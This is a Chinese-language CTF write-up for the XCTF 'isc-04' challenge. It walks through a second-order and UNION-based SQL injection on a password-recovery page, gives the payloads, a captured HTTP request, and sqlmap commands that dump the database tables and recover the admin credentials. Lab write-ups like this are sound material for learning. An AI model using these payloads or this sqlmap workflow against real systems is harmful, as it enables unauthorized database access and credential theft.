XCTF isc-04 writeup

XCTF isc-04 writeup_第1张图片
题目说明登陆和注册的页面存在漏洞,猜测可能是需要伪造admin登陆,先去尝试注册一个用户名为admin的账户
XCTF isc-04 writeup_第2张图片
没想到直接注册成功了,尝试去登陆一下
XCTF isc-04 writeup_第3张图片
没想到直接登陆成功了,但是权限还是不够,观察到存在有忘记密码的功能,测试修改刚注册的admin用户
XCTF isc-04 writeup_第4张图片
联想到以前sql注入天书里面的二次注入问题,尝试注册一个名为admin'#12345的用户后找回密码后将密码从123修改为12345,之后使用username:adminpassword:12345实现了admin身份的登陆,结果还是提示普通用户登录成功。此时考虑可能此题不是一个提权的问题,我们可以在找回密码的页面实现二次注入且知道了闭合方式为单引号,测试一下username为admin' or 1='1
XCTF isc-04 writeup_第5张图片
发现密保问题不再是设定好的123了,变成了cetc,注入点存在,尝试联合注入
payload:-1' union select 1,2,3,4#
XCTF isc-04 writeup_第6张图片
得到回显,尝试读取flag
payload:-1' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema =database()),4#
但是很奇怪得不到回显
XCTF isc-04 writeup_第7张图片
接着尝试一下使用sqlmap
先在相同目录下写一个post.txt

POST /findpwd.php HTTP/1.1
Host: 111.198.29.45:41502
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://111.198.29.45:41502/findpwd.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 12
Cookie: td_cookie=905661943; PHPSESSID=7kc90egh88j66dcvgitss38k04
Connection: keep-alive
Upgrade-Insecure-Requests: 1

username=123

payload:python sqlmap.py -r post.txt --dbs
XCTF isc-04 writeup_第8张图片
payload:python sqlmap.py -r post.txt -D cetc004 --tables
XCTF isc-04 writeup_第9张图片
payload:python sqlmap.py -r post.txt -D cetc004 -T tables --columns
XCTF isc-04 writeup_第10张图片
payload:python sqlmap.py -r post.txt -D cetc004 -T user -C "answer" --dump
XCTF isc-04 writeup_第11张图片
同理得到username和password分别为c3tlwDmIn231qazWSXED56yhn8ujm9olk81wdfTG,登陆后得到flag
XCTF isc-04 writeup_第12张图片

你可能感兴趣的:(XCTF isc-04 writeup)